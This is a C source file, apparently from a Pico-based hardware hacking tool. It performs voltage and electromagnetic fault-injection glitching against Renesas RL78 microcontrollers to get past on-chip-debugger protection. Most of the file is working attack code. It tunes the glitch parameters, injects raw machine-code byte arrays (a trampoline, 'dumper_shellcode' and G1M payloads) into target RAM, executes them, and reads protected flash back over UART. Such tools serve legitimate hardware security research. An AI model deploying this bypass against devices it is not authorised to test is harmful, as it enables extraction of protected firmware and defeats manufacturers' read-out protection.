pico430prog/src/cli/rl78-glitch.c

954 lines
26 KiB
C

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <hardware/adc.h>
#include <hardware/clocks.h>
#include <hardware/gpio.h>
#include <hardware/pwm.h>
#include <pico/stdlib.h>
#include <pico/binary_info.h>
#include "pinout.h"
#include "tool78_hw.h"
#include "tool78_cmds.h"
#include "glitch.h"
void cli_tool78_glitch_dump(void);
void cli_tool78_glitch_paramsearch(void);
void cli_tool78_glitch_ocd_dump(void);
void cli_tool78_glitch_param_g10(void);
void cli_tool78_glitch_ocd_g10(void);
#define DUMP_OFFSET 0xef000
#define DUMP_SIZE 4096/*65536*/
// test with decoupling caps: length in 20..500(..1500) -> ok
// testing on ocd lock: length: 5..35
/*
hw inited
baudrate result=0xc1
common st=193
result: 0xc1 ver=0000
init: 193
*/
/*
baudrate result=0x06
result: 0x06. sig:
0x10 0x00 0x06 0x52 0x35 0x46 0x31 0x30 0x31 0x45 0x45 0x20 0x20 0xff 0xff 0x00 0x00 0x00 0x00 0x03 0x00 0x03
secget: 0x06
sec: flg=fe bot=03 fsws=0000 fswe=003f
*/
//void trl78_uart1_set_exclusive(bool ex);
static uint8_t databuf[DUMP_SIZE];
static struct glitch_param_randrange offset;
static struct glitch_param_randrange/*adc*/ length;
//static struct glitch_param_const length;
static bool glitch_init_core1_stuff(bool exttrig, uint glitchpin) {
offset.min = 10*1000;
offset.max = 35433*1000;
length.min = 100;
length.max = /*10*50*/26*1000;
//length.value = 5*1000; // 5 us
#if PINOUT_USE_DRAGONZAP
//length.adc_index = 0;//999;
#else
//length.adc_index = 999;
#endif
glitch_param_randrange_init(&offset);
//glitch_param_const_init(&length);
glitch_param_randrange_init(&length);
//glitch_param_adc_init(&length);
// REGC = 2.11V / 0.47..1 uF // WUFM: REGC = 1.80V // BUT: OCD mode: always 2.1!
static struct glitch_params gparam = (struct glitch_params){
//.offset_min_ns = 10*1000,
//.offset_max_ns = 35433*1000,
// with REGC & 10uF Vcc:
//.length_min_ns = -1,//10,//-1,//20,
//.length_max_ns = 10000,//*8,
// with REGC:
/*.length_min_us = 4000,
.length_max_us = 6300,*/
// without REGC:
/*.length_min_us = 20,
.length_max_us = 70,*/
// best glitch voltages (REGC: 1uF):
// * with REGC, long pulses: 1700mV
// * no REGC, short pulses: 1300mV
// * REGC@VDD, long pulses: 42mV
// * REGC@VDD, short pulses: 0V
// * with REGC, 10uF@VDD, long pulses: 0..3mV (strict upper limit)
// * 100uF@VDD: too much, even w/o REGC
.trigger_in_pin = -2,
.glitch_out_pin = -2,//glitchpin,//GLITCH_OUT_PIN,
.trigger_in_polarity = glitch_positive,
.glitch_out_polarity = glitch_positive,
.impl = glitch_impl_pio,//core1,
};
gparam.glitch_out_pin = glitchpin;
gparam.offset_ns = (struct glitch_param){
.ud = &offset,
.getter = glitch_param_randrange_fn
};
gparam.length_ns = (struct glitch_param){
.ud = &length,
.getter = glitch_param_randrange_fn,//adc_fn
};
gparam.trigger_in_pin = exttrig ? TRIGGER_IN_PIN/*7*/ : (-1);
return glitch_ready(&gparam);
}
static void glitch_init_pwm_stuff(void) {
const float dutycycle = (2.1f + 0.00f) / 3.3f + 0.0125f;//25f /* calibration (more) */;
const int PIN_PWM_VREG = 22;
const uint32_t pwm_period = /*5*/500; // 200 Hz at a 1 MHz clock freq
uint32_t sliceno = pwm_gpio_to_slice_num(PIN_PWM_VREG);
pwm_set_clkdiv_int_frac(sliceno, (uint8_t)(clock_get_hz(clk_sys)/1e6f), 0); // 1 MHz clock
pwm_set_wrap(sliceno, pwm_period); // total period
pwm_set_chan_level(sliceno, pwm_gpio_to_channel(PIN_PWM_VREG),
(uint32_t)(pwm_period*dutycycle));
pwm_set_phase_correct(sliceno, true);
pwm_set_output_polarity(sliceno, false, false);
pwm_set_clkdiv_mode(sliceno, PWM_DIV_FREE_RUNNING);
pwm_set_enabled(sliceno, true);
gpio_set_function(PIN_PWM_VREG, GPIO_FUNC_PWM);
}
static uint8_t exec_jmp_to_ram[] = {
0xfc, 0x00, 0xf9, 0x0f, // call !!ff900
0xd7, // ret
};
static uint8_t DATA_test_dbg__paramtest[102] = {
0x71, 0x7b, 0xfa, 0xf5, 0xf0, 0x02, 0xf5, 0x78, 0x00, 0x71, 0x6a, 0xa4,
0xcf, 0x76, 0x00, 0x01, 0xce, 0x22, 0x00, 0xf5, 0x62, 0x00, 0xf5, 0x77,
0x00, 0xf5, 0x79, 0x00, 0xf5, 0x75, 0x00, 0xf5, 0x7c, 0x00, 0xce, 0x02,
0x00, 0xce, 0x02, 0xff, 0x30, 0x00, 0xfa, 0x16, 0x52, 0x00, 0x53, 0xff,
0x51, 0x00, 0x81, 0x93, 0xdf, 0xfc, 0x92, 0x61, 0xf9, 0xdf, 0xf3, 0xce,
0x02, 0x00, 0x52, 0x18, 0x53, 0xff, 0x93, 0xdf, 0xfd, 0x92, 0xdf, 0xf8,
0x51, 0x48, 0xfc, 0xa1, 0xff, 0x0e, 0x51, 0x69, 0xfc, 0xa1, 0xff, 0x0e,
0x50, 0xaa, 0x52, 0x00, 0x92, 0x61, 0xe9, 0x61, 0x78, 0xfc, 0xa1, 0xff,
0x0e, 0xd2, 0xdf, 0xf4, 0xef, 0xbf
};
static uint8_t dumper_shellcode[0x26] = {
//0xe0, 0x07, 0x26, // 0xF07E0 location, 0x26 length of packet
0x41, 0x00, 0x34, 0x00, 0x00, 0x00, 0x11, 0x89, 0xFC, 0xA1, 0xFF, 0x0E, 0xA5,
0x15, 0x44, 0x00, 0x00, 0xDF, 0xF3, 0xEF, 0x04, 0x55, 0x00, 0x00, 0x00, 0x8E,
0xFD, 0x81, 0x5C, 0x0F, 0x9E, 0xFD, 0x71, 0x00, 0x90, 0x00, 0xEF, 0xE0
};
static uint8_t G1M_payload_1[] = {
0xcb, 0xf8, 0xc0, 0xfe, // movw sp, #0xfea0
0xec, 0xba, 0xff, 0x0e, // br !!0xeffba
};
static uint8_t G1M_payload_2[] = {
0xec, 0x00, 0xfe, 0x0f, // br !!ffe00
};
static uint8_t G1M_paramtest[] = {
0x71, 0x7b, 0xfa, 0x51, 0x61, 0xfc, 0xdc, 0xff, 0x0e, 0xcf, 0x77, 0x00, 0x00,
0xce, 0x00, 0x00, 0xcf, 0x30, 0x00, 0x00, 0xcf, 0x50, 0x00, 0x00, 0xcf, 0x60,
0x00, 0x7f, 0xcf, 0x20, 0xff, 0x00, 0xcf, 0xf0, 0x00, 0xe5, 0xcf, 0xf3, 0x00,
0x10, 0xce, 0x00, 0xff, 0x30, 0xe0, 0xfc, 0x16, 0x52, 0x40, 0x53, 0xff, 0x51,
0x00, 0x81, 0x93, 0xdf, 0xfc, 0x92, 0x61, 0xf9, 0xd2, 0xdf, 0xf2, 0xce, 0x00,
0x00, 0x52, 0x18, 0x53, 0xff, 0x93, 0xdf, 0xfd, 0x92, 0xdf, 0xf8, 0x51, 0x48,
0xfc, 0xdc, 0xff, 0x0e, 0x51, 0x69, 0xfc, 0xdc, 0xff, 0x0e, 0x50, 0xaa, 0x52,
0x40, 0x92, 0x61, 0xe9, 0x61, 0x78, 0xfc, 0xdc, 0xff, 0x0e, 0xd2, 0xdf, 0xf4,
0xef, 0xbe, 0xd7
};
void cli_tool78_glitch_dump(void) {
uint8_t passwd[10] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
uint16_t ver;
enum tool78_stat st;
int rr;
ver=0;
while (true) {
st = tool78_init_ocd(&tool78_hw_rl78_uart1, &ver, passwd);
if (st == 0xc3) {
rr = tool78_hw_rl78_uart1.recv(1, &st, 120*1000*1000);
if (rr != 1) {
printf("aaaa\n");
goto deinit_bad;
}
}
printf("result: 0x%02x ver=%04x\n", st, ver);
if (st != 0xf2 && st != 0xf0) {
printf("init: %d\n", st);
goto deinit_bad;
}
break;
}
// can't write too much at 0xf07e0 as 0xf0800 and up contains OCD state,
// overwrite this and suddenly the OCD system resets itself
st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0x07e0,
sizeof(exec_jmp_to_ram), exec_jmp_to_ram);
//printf("write shellcode res 0x%02x\n", st);
if (st != 0) {
printf("trampoline write failed: %d\n", st);
goto deinit_bad;
}
st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0xf900,
sizeof(dumper_shellcode), dumper_shellcode);
//printf("write shellcode res 0x%02x\n", st);
if (st != 0) {
printf("shellcode write failed: %d\n", st);
goto deinit_bad;
}
st = tool78_ocd_exec(&tool78_hw_rl78_uart1);
//printf("exec res 0x%02x\n", st);
if (st != 0) {
printf("exec failed: %d\n", st);
goto deinit_bad;
}
for (size_t iii = 0; iii < DUMP_SIZE + DUMP_OFFSET; ++iii) {
// wait for completion
size_t off = (iii < DUMP_OFFSET) ? 0 : (iii - DUMP_OFFSET);
rr = tool78_hw_rl78_uart1.recv(1, &databuf[off], 120*1000*1000);
if (rr != 1) {
printf("exec code: no response :/ (%d)\n", rr);
goto deinit_bad;
}
}
for (size_t iii = 0; iii < DUMP_SIZE; ++iii) {
printf("%02x%s", databuf[iii], ((iii & 0xf) == 0xf) ? "\n" : " ");
}
deinit_bad:
tool78_hw_rl78_uart1.deinit();
return;
}
void cli_tool78_glitch_paramsearch(void) {
zap_picoemp_init();
if (!glitch_init_core1_stuff(true, ZAP_GLITCH_OUT/*GLITCH_OUT_PIN*/)) {
printf("bad glitcher params!\n");
return;
}
uint8_t passwd[10] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
uint16_t ver;
enum tool78_stat st;
int rr;
static uint8_t checkbuf[256];
bool first = true;
restart:
zap_picoemp_set_armed(false);
glitch_disarm();
/*busy_wait_ms(40);*/
zap_picoemp_set_armed(true);
while (!zap_picoemp_has_hv()) ;
ver=0;
st = tool78_init_ocd(&tool78_hw_rl78_uart1, &ver, passwd);
if (st == 0xc3) {
printf("aa\n");
st = 0;
rr = tool78_hw_rl78_uart1.recv(1, (uint8_t*)&st, 120*1000);
printf("rr=%d\n", rr);
if (rr != 1) {
printf("aaaa\n");
goto do_reset_stuff;
}
}
//printf("result: 0x%02x ver=%04x\n", st, ver);
if (st != 0xf2 && st != 0xf0) {
printf("init: 0x%02x\n", st);
goto deinit_bad;
}
if (first) printf("result: 0x%02x ver=%04x\n", st, ver);
// can't write too much at 0xf07e0 as 0xf0800 and up contains OCD state,
// overwrite this and suddenly the OCD system resets itself
st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0x07e0,
sizeof(exec_jmp_to_ram), exec_jmp_to_ram);
//printf("write trampoline res 0x%02x\n", st);
if (st != 0) {
printf("trampoline write failed: %d\n", st);
goto deinit_bad;
}
st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0xf900,
sizeof(DATA_test_dbg__paramtest), DATA_test_dbg__paramtest);
//printf("write code res 0x%02x\n", st);
if (st != 0) {
printf("code write failed: %d\n", st);
goto deinit_bad;
}
st = tool78_ocd_exec(&tool78_hw_rl78_uart1);
//printf("exec res 0x%02x\n", st);
if (st != 0) {
printf("exec failed: %d\n", st);
goto deinit_bad;
}
// test custom tool_tx call
/*rr = tool78_hw_rl78_uart1.recv(1, checkbuf, 1000);
printf("rr=%d\n", rr);
if (rr == 1) printf("0x%02x %c\n", stuff[0], stuff[0]);*/
// wait for completion
rr = tool78_hw_rl78_uart1.recv(2, checkbuf, 120*1000);
if (rr != 2) {
printf("exec code: no response :/ (%d)\n", rr);
goto deinit_bad;
}
if (checkbuf[0] != 'H' && checkbuf[1] != 'i') {
printf("bad response: %02x %02x\n", checkbuf[0], checkbuf[1]);
goto deinit_bad;
}
rr = tool78_hw_rl78_uart1.recv(256, checkbuf, 120*1000);
if (rr != 256) {
printf("exec code: no data sendback (%d)\n", rr);
goto deinit_bad;
}
for (size_t i = 0; i < 256; ++i) {
if (checkbuf[i] != (0xff^0xaa)) {
printf("bad value at index %zu: %02x\n", i, checkbuf[i]^0xaa);
goto deinit_bad;
}
}
if (first) printf("all set, let's go\n");
first = false;
while (true) {
glitch_arm();
rr = tool78_hw_rl78_uart1.recv(2, checkbuf, 120*1000);
glitch_disarm();
bool first_ = true;
do {
if (rr == 2 && (checkbuf[0] != 'H' || checkbuf[1] != 'i')) rr = 0;
if (rr == 2) {
rr = tool78_hw_rl78_uart1.recv(256, checkbuf, 120*1000);
}
if (rr <= 0) {
if (!first_) break;
// timeout or something
printf("X");
tool78_hw_rl78_uart1.deinit();
goto do_reset_stuff;
} else {
int firstbad = -1, lastbad = -1;
for (int i = 0; i < rr; ++i) {
if (checkbuf[i] != (0xaa^0xff)) {
if (firstbad == -1) firstbad = i;
lastbad = i;
}
}
if (firstbad >= 0) {
volatile uint32_t
*off = (volatile uint32_t*)&glitch_param_cur.offset_ns.cur,
*len = (volatile uint32_t*)&glitch_param_cur.length_ns.cur;
printf("glitch first=%d last=%d off=%lu len=%lu rr=%d v=%02x\n",
firstbad, lastbad, *off, *len, rr, checkbuf[firstbad]^0xaa);
} else {
printf(".");
}
}
first_=false;
if (!zap_picoemp_has_hv()) {
rr = tool78_hw_rl78_uart1.recv(2, checkbuf, 150*1000);
} else break;
} while (true);
}
deinit_bad:
zap_picoemp_set_armed(false);
tool78_hw_rl78_uart1.deinit();
return;
do_reset_stuff:
zap_picoemp_set_armed(false);
tool78_hw_rl78_uart1.deinit();
// glitch for way too long to power cycle
sio_hw->gpio_set = 1u << GLITCH_OUT_PIN;
busy_wait_ms(16);
sio_hw->gpio_clr = 1u << GLITCH_OUT_PIN;
goto restart;
}
void cli_tool78_glitch_ocd_dump(void) {
if (!glitch_init_core1_stuff(false, GLITCH_OUT_PIN)) {
printf("bad glitcher params!\n");
return;
}
/*gpio_set_function(2, GPIO_FUNC_SIO);
gpio_set_dir(2, GPIO_OUT);
gpio_put(2, false);*/
//gpio_set_function(3, GPIO_FUNC_SIO);
//gpio_set_dir(3, GPIO_OUT);
//gpio_put(3, false);
uint8_t passwd[10] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
uint16_t ver;
int st, rr/*, r0, r1, r2*/;
static uint8_t checkbuf[256];
bool first = true;
restart:
//trl78_uart1_set_exclusive(true);
//tool78_hw_rl78_uart1.rx_set_stop_bit(false);
//gpio_put(2, false);
/*glitch_disarm();
busy_wait_ms(40);*/
ver=0;
st = tool78_init_ocd(&tool78_hw_rl78_uart1, &ver, passwd);
if (st == 0xc3) {
//printf("aa\n");
st = 0;
rr = tool78_hw_rl78_uart1.recv(1, (uint8_t*)&st, 120*1000);
//printf("rr=%d\n", rr);
if (rr != 1) {
//printf("aaaa\n");
goto do_reset_stuff;
}
}
if (first) printf("result: 0x%02x ver=%04x\n", st, ver);
if (st == 0xc1) goto do_reset_stuff;
if (st != 0x10) {
printf("init: expected protect error, got %d\n", st);
goto deinit_bad;
}
busy_wait_ms(16); // leave time to recharge
// right now, the RL78 core is stuck in an infinite loop doing nothing in
// the debug monitor part of its bootrom. however, the code we need is
// right below it, so we can simply try to glitch it without having to meet
// the timing
// see https://fail0verflow.com/blog/2018/ps4-syscon/ for more info
// try up to 16 times because we can't discern between a reset and a glitch
// that had no effect. after 16 iterations without result, reset the RL78
// and try again.
// a successful glitch will output a single null byte over the TOOL0 line
// apparently we have about 95 ms until the infinite loop gets reset into
// the MCU flash automatically? somehow?? I suppose it's the WDT
if (first) printf("all set, let's go\n");
first = false;
//tool78_hw_rl78_uart1.rx_set_stop_bit(false);
glitch_arm();
for (size_t i = 0; i < 16; ++i) {
//glitch_trigger_sw_core1();
glitch_trigger_sw_pio();
rr = tool78_hw_rl78_uart1.recv(1, checkbuf, 12*1000);
if (rr != 1) {
busy_wait_ms(1); // leave time to recharge
printf(".");
continue;
}
/*printf("checkbuf: %d", checkbuf[0]);
printf("\n!!!\n");*/
tool78_hw_rl78_uart1.flags |= tool78_hw_flag_done_reset;
glitch_disarm();
goto success;
}
glitch_disarm();
printf(":");
do_reset_stuff:
tool78_hw_rl78_uart1.deinit();
// glitch for way too long to power cycle
sio_hw->gpio_set = 1u << GLITCH_OUT_PIN;
busy_wait_ms(16);
sio_hw->gpio_clr = 1u << GLITCH_OUT_PIN;
goto restart;
success:;
//gpio_put(2, true);
//busy_wait_ms(5);
// (02): read from above (checkbuf) code
// 03 06 18 00 df 03
// ^-- baud rate set response
// 00
// ^-- OCD entry response
rr = tool78_hw_rl78_uart1.recv(7, &databuf[0], 10000);
if (rr != 7) {
printf("rr=%d, wut?\n", rr);
goto do_reset_stuff;
}
busy_wait_us_32(500);
ver = 0;
st = tool78_ocd_version(&tool78_hw_rl78_uart1, &ver);
if (st) {
printf("OCD: get version failed: %d\n", st);
goto do_reset_stuff;
}
printf("got ver! %04x\n", ver);
printf("glitch len: %lu ns\n", *(volatile uint32_t*)&glitch_param_cur.length_ns.cur);
/*goto do_reset_stuff;*/
st = tool78_ocd_connect(&tool78_hw_rl78_uart1, passwd);
if (st != 0xf0 && st != 0xf2) {
printf("OCD: connect failed: %d\n", st);
goto deinit_bad;
}
printf("connect! 0x%02x\n", st);
// can't write too much at 0xf07e0 as 0xf0800 and up contains OCD state,
// overwrite this and suddenly the OCD system resets itself
st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0x07e0,
sizeof(exec_jmp_to_ram), exec_jmp_to_ram);
//printf("write trampoline res 0x%02x\n", st);
if (st != 0) {
printf("trampoline write failed: %d\n", st);
goto deinit_bad;
}
st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0xf900,
sizeof(dumper_shellcode), dumper_shellcode);
//printf("write code res 0x%02x\n", st);
if (st != 0) {
printf("code write failed: %d\n", st);
goto deinit_bad;
}
st = tool78_ocd_exec(&tool78_hw_rl78_uart1);
//printf("exec res 0x%02x\n", st);
if (st != 0) {
printf("exec failed: %d\n", st);
goto deinit_bad;
}
for (size_t iii = 0; iii < DUMP_SIZE + DUMP_OFFSET; ++iii) {
// wait for completion
size_t off = (iii < DUMP_OFFSET) ? 0 : (iii - DUMP_OFFSET);
rr = tool78_hw_rl78_uart1.recv(1, &databuf[off], 120*1000*1000);
if (rr != 1) {
printf("exec code: no response :/ (%d)\n", rr);
goto deinit_bad;
}
}
for (size_t iii = 0; iii < DUMP_SIZE; ++iii) {
printf("0x%02x%s", databuf[iii], ((iii & 0xf) == 0xf) ? "\n" : " ");
}
printf("\ndone!\n");
deinit_bad:
tool78_hw_rl78_uart1.deinit();
return;
}
/*static uint8_t DATA_G1M_paramtest[47] = {
0xcf, 0x77, 0x00, 0x00, 0xce, 0x00, 0x00, 0xcf, 0x30, 0x00, 0x00, 0xcf, 0x50,
0x00, 0x00, 0xcf, 0x60, 0x00, 0x7f, 0xcf, 0x20, 0xff, 0x00, 0xcf, 0xf0, 0x00,
0xe5, 0xcf, 0xf3, 0x00, 0x10, 0xce, 0x00, 0xff, 0x51, 0x48, 0xfc, 0xdc, 0xff,
0x0e, 0x51, 0x69, 0xfc, 0xdc, 0xff, 0x0e, 0xd7
};*/
void cli_tool78_glitch_param_g10(void) {
struct tool78_hw* hw = &tool78_hw_rl78g10_uart1;
zap_dac_set_enable(zap_dac_a | zap_dac_b);
#if 1 /* MCP48x2 */
zap_dac_set_mulx2(zap_dac_a | zap_dac_b);
#else
zap_dac_set_mulx2(0);
zap_dac_set_shutdown(false);
#endif
/*zap_max_use_vhi_jp300(true);
zap_max_set_inhibit(false);*/
zap_picoemp_init();
if (!glitch_init_core1_stuff(true, ZAP_GLITCH_OUT)) {
printf("bad glitcher params!\n");
return;
}
uint8_t passwd[10] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
enum tool78_stat st;
uint16_t vvv=0xffff;
int rr;
static uint8_t checkbuf[256];
volatile uint32_t *off, *len;
bool first = true;
restart:
zap_picoemp_set_armed(false);
glitch_disarm();
/*busy_wait_ms(40);*/
zap_picoemp_set_armed(true);
while (!zap_picoemp_has_hv()) ;
st = tool78_init_ocd(hw, NULL, passwd);
if (st == 0xc3) {
printf("aa\n");
st = 0;
rr = tool78_hw_rl78_uart1.recv(1, (uint8_t*)&st, 120*1000);
printf("rr=%d\n", rr);
if (rr != 1) {
printf("aaaa\n");
goto do_reset_stuff;
}
}
//printf("result: 0x%02x ver=%04x\n", st, ver);
if (st != 0xf2 && st != 0xf0) {
if (st == 0xf3) { // idk
//gpio_put(12, true);
printf("init: 0x%02x off=%lu len=%lu vv=%03x\n", st, *off, *len, vvv);
//gpio_put(12, false);
goto do_reset_stuff;
} else {
printf("init: 0x%02x\n", st);
}
goto deinit_bad;
}
if (first) printf("result: 0x%02x\n", st);
st = tool78_ocd_write(hw, 0xfed0,
sizeof(G1M_payload_1), G1M_payload_1);
//printf("write trampoline res 0x%02x\n", st);
if (st != 0) {
printf("payload 1 write failed: %d\n", st);
goto deinit_bad;
}
st = tool78_ocd_exec(hw);
//printf("exec res 0x%02x\n", st);
if (st != 0) {
printf("payload 1 exec failed: %d\n", st);
goto deinit_bad;
}
st = tool78_ocd_write(hw, 0xfed0,
sizeof(G1M_payload_2), G1M_payload_2);
//printf("write trampoline res 0x%02x\n", st);
if (st != 0) {
printf("payload 2 write failed: %d\n", st);
goto deinit_bad;
}
st = tool78_ocd_write(hw, 0xfe00,
sizeof(G1M_paramtest), G1M_paramtest);
//printf("write trampoline res 0x%02x\n", st);
if (st != 0) {
printf("real payload write failed: %d\n", st);
goto deinit_bad;
}
st = tool78_ocd_exec(hw);
//printf("exec res 0x%02x\n", st);
if (st != 0) {
printf("real payload exec failed: %d\n", st);
goto deinit_bad;
}
// wait for initial pong
rr = hw->recv(1, checkbuf, 120*1000);
if (rr != 1) {
printf("exec code pong: no response :/ (%d)\n", rr);
goto deinit_bad;
}
if (checkbuf[0] != 'a') {
printf("bad pong response: %02x %02x\n", checkbuf[0], checkbuf[1]);
goto deinit_bad;
}
// wait for completion
rr = hw->recv(2, checkbuf, 150*1000);
if (rr != 2) {
printf("exec code hdr: no response :/ (%d)\n", rr);
goto deinit_bad;
}
if (checkbuf[0] == 0xff) {
checkbuf[0] = checkbuf[1];
rr = hw->recv(1, &checkbuf[1], 120*1000);
if (rr != 1) {
printf("exec code hdr: no response :/ (%d)\n", rr);
goto deinit_bad;
}
}
if (checkbuf[0] != 'H' && checkbuf[1] != 'i') {
printf("bad hdr response: %02x %02x\n", checkbuf[0], checkbuf[1]);
goto deinit_bad;
}
const int lenlen = 0x40;
rr = hw->recv(lenlen, checkbuf, 120*1000);
if (rr != lenlen) {
printf("exec code: no data sendback (%d)\n", rr);
goto deinit_bad;
}
for (size_t i = 0; i < lenlen; ++i) {
if (checkbuf[i] != (0xff^0xaa)) {
printf("bad value at index %zu: %02x\n", i, checkbuf[i]^0xaa);
goto deinit_bad;
}
}
if (first) printf("all set, let's go\n");
first = false;
gpio_init(12);
gpio_set_dir(12, GPIO_OUT);
gpio_set_function(12, GPIO_FUNC_SIO);
gpio_put(12, false);
/*gpio_init(7);
gpio_set_dir(7, GPIO_IN);*/
while (true) {
/*//vvv = zap_adc_read(1);
vvv = (random() & 0x3ff) + 0x400;
zap_dac_set_b(vvv);
zap_dac_latch();*/
glitch_arm();
rr = hw->recv(2, checkbuf, 150*1000);
//printf("rr=%d cb=%02x %02x\n", rr, checkbuf[0], checkbuf[1]);
glitch_disarm();
bool first_ = true;
do {
if (rr == 2 && (checkbuf[0] != 'H' || checkbuf[1] != 'i')) rr = 0;
if (rr == 2) {
rr = hw->recv(lenlen, checkbuf, 150*1000);
//printf("recv data rr=%d\n", rr);
}
if (rr <= 0) {
if (!first_) break;
// timeout or something
printf("X");
off = (volatile uint32_t*)&glitch_param_cur.offset_ns.cur;
len = (volatile uint32_t*)&glitch_param_cur.length_ns.cur;
//printf("X off=%lu len=%lu vv=%03x\n", *off, *len, vvv);
hw->deinit();
goto do_reset_stuff;
} else {
int firstbad = -1, lastbad = -1;
for (int i = 0; i < rr; ++i) {
if (checkbuf[i] != (0xaa^0xff)) {
if (firstbad == -1) firstbad = i;
lastbad = i;
}
}
if (firstbad >= 0) {
gpio_put(12, true);
off = (volatile uint32_t*)&glitch_param_cur.offset_ns.cur;
len = (volatile uint32_t*)&glitch_param_cur.length_ns.cur;
printf("glitch first=%d last=%d off=%lu len=%lu vvv=%03x rr=%d v=%02x\n",
firstbad, lastbad, *off, *len, vvv, rr, checkbuf[firstbad]^0xaa);
gpio_put(12, false);
} else {
printf(".");
//printf("NN off=%lu len=%lu vv=%03x\n", *off, *len, vvv);
}
}
first_=false;
if (!zap_picoemp_has_hv()) {
rr = hw->recv(2, checkbuf, 150*1000);
} else break;
} while (true);
}
deinit_bad:
zap_picoemp_set_armed(false);
busy_wait_ms(500);
hw->deinit();
return;
do_reset_stuff:
zap_picoemp_set_armed(false);
busy_wait_ms(300);
hw->deinit();
// glitch for way too long to power cycle
//sio_hw->gpio_set = 1u << ZAP_GLITCH_OUT;
busy_wait_ms(16);
//sio_hw->gpio_clr = 1u << ZAP_GLITCH_OUT;
goto restart;
}
void cli_tool78_glitch_ocd_g10(void) {
// struct tool78_hw* hw = &tool78_hw_rl78g10_uart1;
//
// zap_dac_set_enable(zap_dac_a | zap_dac_b);
//#if 1 /* MCP48x2 */
// zap_dac_set_mulx2(zap_dac_a | zap_dac_b);
//#else
// zap_dac_set_mulx2(0);
// zap_dac_set_shutdown(false);
//#endif
//
// zap_max_use_vhi_jp300(true);
// zap_max_set_inhibit(false);
//
// if (!glitch_init_core1_stuff(false, ZAP_GLITCH_OUT)) {
// printf("bad glitcher params!\n");
// return;
// }
//
// gpio_set_function(2, GPIO_FUNC_SIO);
// gpio_set_dir(2, GPIO_OUT);
// gpio_put(2, false);
//
// //gpio_set_function(3, GPIO_FUNC_SIO);
// //gpio_set_dir(3, GPIO_OUT);
// //gpio_put(3, false);
//
// uint8_t passwd[10] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
// int st, rr/*, r0, r1, r2*/;
// static uint8_t checkbuf[256];
// bool first = true;
//
//restart:
// //trl78_uart1_set_exclusive(true);
// //hw->rx_set_stop_bit(false);
// gpio_put(2, false);
// /*glitch_disarm();
// busy_wait_ms(40);*/
//
// st = tool78_init_ocd(hw, NULL, passwd);
// if (st == 0xc3) {
// printf("aa\n");
// st = 0;
// rr = hw->recv(1, (uint8_t*)&st, 120*1000);
// printf("rr=%d\n", rr);
// if (rr != 1) {
// printf("aaaa\n");
// goto do_reset_stuff;
// }
// }
// if (first) printf("result: 0x%02x\n", st);
// if (st == 0xc1) goto do_reset_stuff;
// if (st != tool78_stat_no_ocd_status) {
// printf("init: expected status timeout error, got %d\n", st);
// goto deinit_bad;
// }
// busy_wait_ms(16); // leave time to recharge
//
// // TODO: update description
// // right now, the RL78 core is stuck in an infinite loop doing nothing in
// // the debug monitor part of its bootrom. however, the code we need is
// // right below it, so we can simply try to glitch it without having to meet
// // the timing
// // see https://fail0verflow.com/blog/2018/ps4-syscon/ for more info
//
// // try up to 16 times because we can't discern between a reset and a glitch
// // that had no effect. after 16 iterations without result, reset the RL78
// // and try again.
// // a successful glitch will output a single null byte over the TOOL0 line
//
// // apparently we have about 95 ms until the infinite loop gets reset into
// // the MCU flash automatically? somehow?? I suppose it's the WDT
// if (first) printf("all set, let's go\n");
// first = false;
//
// //hw->rx_set_stop_bit(false);
// glitch_arm();
// for (size_t i = 0; i < 16; ++i) {
// zap_dac_set_b(zap_adc_read(1));
// zap_dac_latch();
// //glitch_trigger_sw_core1();
// glitch_trigger_sw_pio();
// rr = hw->recv(1, checkbuf, 12*1000);
// if (rr != 1 || checkbuf[0] == 0xff) {
// busy_wait_ms(1); // leave time to recharge
// printf(".");
// continue;
// }
//
// printf("checkbuf: %d", checkbuf[0]);
// printf("\n!!!\n");
// hw->flags |= tool78_hw_flag_done_reset;
//
// glitch_disarm();
// goto success;
// }
// glitch_disarm();
//
// printf(":");
//do_reset_stuff:
// hw->deinit();
//
// // glitch for way too long to power cycle
// sio_hw->gpio_set = 1u << ZAP_GLITCH_OUT;
// busy_wait_ms(16);
// sio_hw->gpio_clr = 1u << ZAP_GLITCH_OUT;
//
// goto restart;
//
//success:;
// //gpio_put(2, true);
// //busy_wait_ms(5);
// // (02): read from above (checkbuf) code
// // 03 06 18 00 df 03
// // ^-- baud rate set response
// // 00
// // ^-- OCD entry response
// rr = hw->recv(4, &checkbuf[1], 10000);
// if (rr != 4) {
// printf("#");
// //printf("rr=%d, wut?\n", rr);
// goto do_reset_stuff;
// }
// printf("recv %02x %02x %02x %02x %02x\n", checkbuf[0], checkbuf[1],
// checkbuf[2], checkbuf[3], checkbuf[4]);
//
// busy_wait_us_32(500);
//
// printf("glitch len: %lu ns\n", *(volatile uint32_t*)&glitch_param_cur.length_ns.cur);
// /*goto do_reset_stuff;*/
//
// st = tool78_ocd_connect(hw, passwd);
// if (st != 0xf0 && st != 0xf2) {
// printf("OCD: connect failed: %d\n", st);
// goto deinit_bad;
// }
// printf("connect! 0x%02x\n", st);
//
// for (size_t i = 0; i < DUMP_SIZE; i += 256) {
// st = tool78_ocd_read(hw, 0x8000+i, (uint8_t)0x100, &databuf[i]);
// if (st) {
// printf("no read! st=%d\n", st);
// }
// }
// for (size_t iii = 0; iii < DUMP_SIZE; ++iii) {
// printf("%02x%s", databuf[iii], ((iii & 0xf) == 0xf) ? "\n" : " ");
// }
//
// printf("\ndone!\n");
//
//deinit_bad:
// hw->deinit();
// return;
}